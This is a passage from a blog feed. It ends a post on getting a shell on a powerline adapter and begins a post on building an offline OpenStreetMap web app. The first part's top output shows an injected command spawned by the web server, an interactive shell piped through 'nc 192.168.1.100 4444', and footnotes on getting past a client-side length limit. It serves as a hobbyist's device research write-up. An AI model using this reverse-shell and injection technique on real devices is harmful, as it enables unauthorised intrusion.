&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VmallocUsed: &lt;span style="color:#ae81ff"&gt;2784&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VmallocChunk: &lt;span style="color:#ae81ff"&gt;1025180&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# cat /proc/version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Linux version 3.4.11-rt19 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;root@localhost.localdomain&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;gcc version 4.6.2 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Buildroot 2011.11&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#75715e"&gt;#1 PREEMPT Mon Jan 22 01:07:36 CST 2018&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A whole 32 MB of RAM! Here is &lt;code&gt;top&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Mem: 28240K used, 1228K free, 0K shrd, 740K buff, 3816K cached
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CPU: 0% usr 5% sys 0% nic 93% idle 0% io 0% irq 0% sirq
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Load average: 0.84 0.78 0.78 1/47 &lt;span style="color:#ae81ff"&gt;17193&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; PID PPID USER STAT VSZ %MEM CPU %CPU COMMAND
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;250&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; admin SW &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 5% &lt;span style="color:#f92672"&gt;[&lt;/span&gt;wl0-kthrd&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;217&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; admin SW &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 1% &lt;span style="color:#f92672"&gt;[&lt;/span&gt;bcmsw_rx&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;17147&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15971&lt;/span&gt; admin R &lt;span style="color:#ae81ff"&gt;1712&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% top
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;588&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;5348&lt;/span&gt; 18% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% httpd -m &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;415&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;4704&lt;/span&gt; 16% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% wlmngr -m &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;422&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;421&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;4704&lt;/span&gt; 16% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% wlmngr -m &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;421&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;415&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;4704&lt;/span&gt; 16% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% wlmngr -m &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;418&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;3888&lt;/span&gt; 13% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% homeplugd -m &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;295&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;3848&lt;/span&gt; 13% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% ssk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;420&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;419&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;3784&lt;/span&gt; 13% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% consoled
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;3504&lt;/span&gt; 12% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% /bin/smd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;416&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;3428&lt;/span&gt; 12% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% plcnvm -m &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;543&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1948&lt;/span&gt; 7% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% /bin/nas
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;310&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1764&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% syslogd -n -C -l &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;565&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1712&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% /bin/acsd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;15971&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15966&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1712&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% /bin/sh -i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1708&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% init
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;15966&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;588&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1708&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% sh -c homeplugctl remote_set --rem
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;419&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1708&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% -/bin/sh -l -c consoled
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;15972&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15966&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1704&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% nc 192.168.1.100 &lt;span style="color:#ae81ff"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Unfortunately, I couldn&amp;rsquo;t actually find any way of reading any temperature sensors on the device. I tried looking in &lt;code&gt;/sys/class/thermal&lt;/code&gt;, and a couple of other places, but nothing seemed to present itself. Presumably this SOC just doesn&amp;rsquo;t have any temperature sensors.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;The PA6 uses a very old version of BusyBox, v1.17.2, which was released in August 2010. Weirdly it was compiled 8 years later, on &lt;code&gt;2018-01-22 01:08:54&lt;/code&gt;. From digging in the source code, it seems the &lt;code&gt;-e&lt;/code&gt; switch was available in BusyBox v1.17.2&amp;rsquo;s &lt;code&gt;nc&lt;/code&gt;, but it seems to have been compiled without the &lt;code&gt;NC_EXTRA&lt;/code&gt; option.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;You&amp;rsquo;d normally do this in a single step, but this field only accepts 63 characters. I&amp;rsquo;m assuming this is just a client side limit, so you could probably sidestep it by sending the request with &lt;code&gt;curl&lt;/code&gt; or something.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>Building an offline web map</title><link>https://george.honeywood.org.uk/blog/map-from-the-ground-up/</link><pubDate>Tue, 04 Jul 2023 11:19:09 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/map-from-the-ground-up/</guid><description>&lt;p&gt;This is a summary of the Final Year Project that I completed as part of my last year at Royal Holloway. The task was to produce an &amp;ldquo;Offline HTML5 Map Application&amp;rdquo;. You can try out the result, OSMO, at &lt;a href="https://files.george.honeywood.org.uk/final-deliverable/#16/51.4290/-0.5521"
target="_blank" rel="noreferrer noopener"
&gt;files.george.honeywood.org.uk/final-deliverable/&lt;/a&gt;. The code is available on &lt;a href="https://github.com/GeorgeHoneywood/final-year-project"
target="_blank" rel="noreferrer noopener"
&gt;GitHub&lt;/a&gt;, and I have also written a &lt;a href="https://github.com/GeorgeHoneywood/final-year-project/files/11584765/george-honeywood-final-report.pdf"
target="_blank" rel="noreferrer noopener"
&gt;formal report&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/header_hu_5424764a89d097ba.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/header_hu_37342322afd902a2.webp 320w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/header_hu_15b5586d1efba900.webp 640w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/header_hu_be3c1f72ed0be95a.webp 960w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/header_hu_a75cb457d8dfd663.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/header_hu_7c65fba08a4e77.jpg'
width="1502"
height="877"
alt='Screenshot of the OSMO app, showing central London'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;Building an offline HTML5 map application is a slightly weird thing to do. Most web maps are decidedly online, fetching tiles dynamically from a tile sever whenever they are required. Most offline map applications are native apps for mobile devices, which fulfil the main use case for an offline map, navigation. However, it is possible to build offline web apps, through technologies like Service Workers, and it seemed like a good opportunity for me to understand the lower levels of how web maps work.&lt;/p&gt;
&lt;p&gt;What follows is less of a summary of how a digital map is built, and more of a description of the things I found interesting along the way.&lt;/p&gt;
&lt;h2 id="openstreetmap-data"&gt;OpenStreetMap data&lt;/h2&gt;
&lt;p&gt;First, you need data to render. Raw OpenStreetMap data comes in either XML, or a more efficient, but semantically similar binary representation, known as PBF. Neither of these are particularly suitable for rendering a map from &amp;ndash; they are instead designed to simplify editing. Here is an example of a building in raw OSM XML:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;osm&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;version=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;0.6&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;generator=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;CGImap 0.8.8 (2471524 spike-07.openstreetmap.org)&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;copyright=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;OpenStreetMap and contributors&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;attribution=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://www.openstreetmap.org/copyright&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;license=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://opendatacommons.org/licenses/odbl/1-0/&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;way&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;590592938&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;visible=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;version=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;4&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;changeset=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;122480423&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;timestamp=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2022-06-16T20:22:59Z&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;user=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;GeorgeHoneywood&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uid=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;10031443&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;nd&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5638445937&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;nd&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5638445938&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;nd&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5638445939&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;nd&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5638445940&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;nd&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5638445937&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;tag&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;k=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;addr:housenumber&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;21&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;tag&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;k=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;addr:street&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Locksley Drive&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;tag&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;k=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;building&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;detached&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/way&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;node&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5638445937&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lat=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;50.7929905&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lon=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-1.8975593&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;visible=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;version=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;3&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;changeset=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;85567769&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;timestamp=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2020-05-21T17:50:39Z&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;user=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;GeorgeHoneywood&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uid=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;10031443&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [... more nodes ...]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/osm&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Instead of the shape of this building being directly represented (like a GeoJSON LineString), a way is made up of constituent nodes, which can then be looked up by ID, to find their position, to derive the geometry of a building. Each of these ways is linearly stored in the file, one after the other, with no geospatial indexing.&lt;/p&gt;
&lt;h2 id="performance-considerations"&gt;Performance considerations&lt;/h2&gt;
&lt;p&gt;In order to allow for real-time rendering of a map, we have to make two main optimizations: tiling, and zoom simplification. These are both processes that have to be done in advance.&lt;/p&gt;
&lt;p&gt;Tiling is the process of splitting the map data into a grid of tiles. Dividing the area up into a grid means that we only need to send (and render) the data currently within the clients&amp;rsquo; viewport. For example, if a user is zoomed in on Trafalgar Square in London, there is no point sending detailed map data for the whole of the UK, or even the whole of London, as it will not be on the screen. Each zoom level has its own set of tiles, and these can be accessed through Z/X/Y coordinates, where the maximum X/Y values double as Z increases by one.&lt;/p&gt;
&lt;p&gt;Simplification is less relevant for a zoomed in view, but is very necessary for a zoomed out region or country zoom level. It is simply not possible (in real time) to render all the detail of a whole country &amp;ndash; and besides, rendering the exact geometry of a road is not necessary, as it can&amp;rsquo;t be seen from the zoomed out view. Therefore, in advance, we must simplify the data in order to remove unnecessary detail. This is effectively invisible to the user if executed well, as it should only remove what is imperceptible. The Douglas-Peucker algorithm is a popular algorithm for achieving this, but some manual tag-based checks are also required, so that you only preserve large roads and other important details when zoomed out.&lt;/p&gt;
&lt;p&gt;As part of this, you need to decide at how many zoom levels you provide simplified versions of the geometry. There is a trade-off here &amp;ndash; if you stored a simplified version for every zoom level between 1 and 20, the versions only one level apart will basically be duplicates, storing almost the same data, wasting space. For the zoom levels you don&amp;rsquo;t store a simplified version for, you can either &amp;ldquo;under-zoom&amp;rdquo; a more detailed one, or &amp;ldquo;over-zoom&amp;rdquo; in the other direction. For example, if you stored a simplified copy at zoom 14, you could still render data at z12, albeit at a performance loss, as you are rendering unperceivable details. Equally, you could also render at z16, but the artefacts introduced by simplification may become visible.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/overzoom-artifacts_hu_90f87cb1ee73eef8.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/overzoom-artifacts_hu_d0d377027832b29.webp 320w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/overzoom-artifacts_hu_bd04c08d2b3f995a.webp 640w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/overzoom-artifacts_hu_d97833251b929be0.webp 960w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/overzoom-artifacts_hu_afa081a36a17f458.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/overzoom-artifacts_hu_a855b041527f033d.jpg'
width="1502"
height="876"
loading="lazy"
alt='Screenshot of OSMO showing artifacts from overzooming too far'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Crunchy geometries that result from overzooming a tile too far
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id="mapsforge-file-format"&gt;Mapsforge file format&lt;/h2&gt;
&lt;p&gt;Developing my own map file format that handles both of these issues would have been a significant undertaking, so I decided that using an existing option would the best strategy. Luckily for me, the &lt;a href="https://github.com/mapsforge/mapsforge"
target="_blank" rel="noreferrer noopener"
&gt;Mapsforge project&lt;/a&gt; has developed a &lt;a href="https://github.com/mapsforge/mapsforge/blob/master/docs/Specification-Binary-Map-File.md"
target="_blank" rel="noreferrer noopener"
&gt;file format&lt;/a&gt; which satisfies both of these requirements.&lt;/p&gt;
&lt;p&gt;As far as I can tell, there is not an existing library for reading Mapsforge format map files in JavaScript/TypeScript, apart from this effort by &lt;a href="https://github.com/TomasHubelbauer/mapsforge/blob/main/index.js"
target="_blank" rel="noreferrer noopener"
&gt;ThomasHubelbauer&lt;/a&gt; &amp;ndash; which goes as far as decoding the file header.&lt;/p&gt;
&lt;p&gt;The basic structure of the Mapsforge file format is as follows (see the &lt;a href="https://github.com/mapsforge/mapsforge/blob/master/docs/Specification-Binary-Map-File.md"
target="_blank" rel="noreferrer noopener"
&gt;specification for details&lt;/a&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Header: contains metadata about the map, such as bounding boxes, and details about the zoom levels that simplified geometry is stored for (hence referred to as &amp;ldquo;zoom intervals&amp;rdquo;).&lt;/li&gt;
&lt;li&gt;For each zoom interval, a subfile, which itself contains:
&lt;ul&gt;
&lt;li&gt;An index, allowing you to locate simplified tile data via Z/X/Y tile coordinates.&lt;/li&gt;
&lt;li&gt;The simplified tile data itself, first Point of Interest (PoI) data, then Way data.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are a number of neat tricks the format uses to eke out extra performance. For example, each zoom simplified tile is stored with a &amp;ldquo;zoom table&amp;rdquo;, which is used to limit the number of features that are rendered if a tile is being over-zoomed or under-zoomed. This seems a little odd, but as the data is stored in a priority order, Ways/PoIs that should be rendered at the lowest zooms are stored first, and therefore if we just stop rendering features after the depth specified in the zoom table, we can render extra features as we zoom, even though we are only storing a single simplified version of the tile. Therefore, roads will be stored before buildings, so when at a low zoom, we can simply stop after rendering the roads, avoiding rendering buildings.&lt;/p&gt;
&lt;figure&gt;
&lt;video
class="video-shortcode"
autoplay
loop
width="1084"
height="720"
style="aspect-ratio: 1084 / 720" &gt;
&lt;source src="https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/zoom-table-1084x720.mp4" type="video/mp4"&gt;
There should have been a video here, but your browser does not seem
to support it.
You can try visiting &lt;a href="https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/zoom-table-1084x720.mp4"&gt;/blog/map-from-the-ground-up/images/zoom-table-1084x720.mp4&lt;/a&gt; instead.
&lt;/video&gt;
&lt;figcaption&gt;
Zoom table limiting the amount of features rendered from a tile
&lt;/figcaption&gt;
&lt;/figure&gt;
